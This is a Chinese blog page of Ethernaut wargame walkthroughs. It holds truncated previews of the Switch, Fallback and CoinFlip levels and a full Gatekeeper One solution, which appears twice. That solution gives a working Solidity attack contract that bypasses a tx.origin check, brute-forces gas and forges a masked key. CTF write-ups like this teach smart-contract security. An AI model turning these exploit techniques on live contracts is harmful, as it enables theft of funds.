
智能合约黑客攻击 Ethernaut: 29. Switch
Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将合约中的 switchOn 改为 trueHack思路这道题 难度比较高,需要构建非常特殊的 CALLDATA 。const attack = '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e120000000000000000000...

智能合约黑客攻击 Ethernaut: 1.Fallback
Ethernaut 是一个基于 Web3/Solidity 的对抗游戏,受 overthewire.org 启发, 运行于以太坊虚拟机. 每个关卡是一个需要被 ‘hacked’ 的智能合约。题目把 Fallback 合约中的 owner改为自己,并且把合约中的余额转走。Hack思路合约本来应该是想做一个捐款合约,捐钱最多的人拥有这个合约的权限,但是在接收 Ether 的 receive() 回调方法里验证逻辑不对,可以比较容易跳过检查, 用非常少的钱就用有这个合约的 Owner 权限。// 1.检查合约owner、余额等信息 await contract.owner(); await getBalance(contract.address) // 2.发送最低金额以成为捐款人 await contract.contribute({value: toWei("0.0001")}) // 3.直接发送给合同 1 wei,这将使我们成为新的所有者 await sendTransaction({ from: player, to: contract.address , value:1 }...

智能合约黑客攻击 Ethernaut: 3. CoinFlip
Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目一个猜硬币正反面游戏,需要连续猜对10次。Hack思路所有的计算逻辑全部都写在了合约里,完全可以把逻辑复制一份计算出来。interface ICoinFlipChallenge { function flip(bool _guess) external returns (bool); } contract CoinFlipAttack { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; ICoinFlipChallenge public exploitInst; constructor(address _target) { exploitInst = ICoinFlipChallen...
Twitter: https://twitter.com/LeekDEV YouTube: https://www.youtube.com/@LeekDEV BILIBILI: https://space.bilibili.com/3493272831920239

智能合约黑客攻击 Ethernaut: 29. Switch
Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目将合约中的 switchOn 改为 trueHack思路这道题 难度比较高,需要构建非常特殊的 CALLDATA 。const attack = '0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e120000000000000000000...

智能合约黑客攻击 Ethernaut: 1.Fallback
Ethernaut 是一个基于 Web3/Solidity 的对抗游戏,受 overthewire.org 启发, 运行于以太坊虚拟机. 每个关卡是一个需要被 ‘hacked’ 的智能合约。题目把 Fallback 合约中的 owner改为自己,并且把合约中的余额转走。Hack思路合约本来应该是想做一个捐款合约,捐钱最多的人拥有这个合约的权限,但是在接收 Ether 的 receive() 回调方法里验证逻辑不对,可以比较容易跳过检查, 用非常少的钱就用有这个合约的 Owner 权限。// 1.检查合约owner、余额等信息 await contract.owner(); await getBalance(contract.address) // 2.发送最低金额以成为捐款人 await contract.contribute({value: toWei("0.0001")}) // 3.直接发送给合同 1 wei,这将使我们成为新的所有者 await sendTransaction({ from: player, to: contract.address , value:1 }...

智能合约黑客攻击 Ethernaut: 3. CoinFlip
Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。教程GitHub - 攻击代码Bilibili - 视频教程YouTube - 视频教程TikTok - ….题目一个猜硬币正反面游戏,需要连续猜对10次。Hack思路所有的计算逻辑全部都写在了合约里,完全可以把逻辑复制一份计算出来。interface ICoinFlipChallenge { function flip(bool _guess) external returns (bool); } contract CoinFlipAttack { uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; ICoinFlipChallenge public exploitInst; constructor(address _target) { exploitInst = ICoinFlipChallen...
Twitter: https://twitter.com/LeekDEV YouTube: https://www.youtube.com/@LeekDEV BILIBILI: https://space.bilibili.com/3493272831920239

Subscribe to Leek DEV

Subscribe to Leek DEV
Share Dialog
Share Dialog
<100 subscribers
<100 subscribers


Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。
把 entrant 变量的地址改为自己。
需要调 enter 方法,而且得通过3个装饰器的检查。
gateOne 第一个检查 msg.sender != tx.origin 只要用另外一个合约转一下就可以通过
gateTwo 需要满足一个特殊剩余 gas , 可以粗暴的循环尝试
gateThree 满足一个特殊的 key
gateThree 通过条件:
// 0x 0000 0000 1111 [1111] == 0x 0000 0000 0000 [1111] 括号里的值相等
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)
// 0x 0000 0000 [0000 0000] == 0x 0000 0000 [0000 0000] 括号里的值不相等
uint32(uint64(_gateKey)) != uint64(_gateKey)
// 0x 0000 0000 0000 [0000] == 0x 0000 0000 0000 [0000] 括号里的值和玩家地址相等
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)
// 最终舒输入
// tx.origin && 0x FFFF FFFF 0000 FFFF
// 0x 89D342ac29e7f2BF57382E2190a69976 [0000] 5c31 括号里的变0,其他随意
攻击代码
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperOneHack {
IGatekeeperOne public exploitInst;
constructor(address _target) {
exploitInst = IGatekeeperOne(_target);
}
function attack() public payable {
bytes8 _gateKey = bytes8(uint64(uint160(address(tx.origin)))) & 0xFFFFFFFF0000FFFF;
uint256 modNum = 8191;
uint256 gasToUse = 800_000;
for (uint256 i = 0; i <= modNum; i++) {
try exploitInst.enter{ gas: gasToUse + i }(bytes8(_gateKey)) {
// success
break;
} catch {
// fail ...
}
}
}
}
…
…
….
Ethernaut 是一个由 OpenZeppelin 基于 Solidity 编程语言开发的对抗游戏,每个关卡都有需要被 Hack 的智能合约。
把 entrant 变量的地址改为自己。
需要调 enter 方法,而且得通过3个装饰器的检查。
gateOne 第一个检查 msg.sender != tx.origin 只要用另外一个合约转一下就可以通过
gateTwo 需要满足一个特殊剩余 gas , 可以粗暴的循环尝试
gateThree 满足一个特殊的 key
gateThree 通过条件:
// 0x 0000 0000 1111 [1111] == 0x 0000 0000 0000 [1111] 括号里的值相等
uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)
// 0x 0000 0000 [0000 0000] == 0x 0000 0000 [0000 0000] 括号里的值不相等
uint32(uint64(_gateKey)) != uint64(_gateKey)
// 0x 0000 0000 0000 [0000] == 0x 0000 0000 0000 [0000] 括号里的值和玩家地址相等
uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)
// 最终舒输入
// tx.origin && 0x FFFF FFFF 0000 FFFF
// 0x 89D342ac29e7f2BF57382E2190a69976 [0000] 5c31 括号里的变0,其他随意
攻击代码
interface IGatekeeperOne {
function enter(bytes8 _gateKey) external returns (bool);
}
contract GatekeeperOneHack {
IGatekeeperOne public exploitInst;
constructor(address _target) {
exploitInst = IGatekeeperOne(_target);
}
function attack() public payable {
bytes8 _gateKey = bytes8(uint64(uint160(address(tx.origin)))) & 0xFFFFFFFF0000FFFF;
uint256 modNum = 8191;
uint256 gasToUse = 800_000;
for (uint256 i = 0; i <= modNum; i++) {
try exploitInst.enter{ gas: gasToUse + i }(bytes8(_gateKey)) {
// success
break;
} catch {
// fail ...
}
}
}
}
…
…
….
No activity yet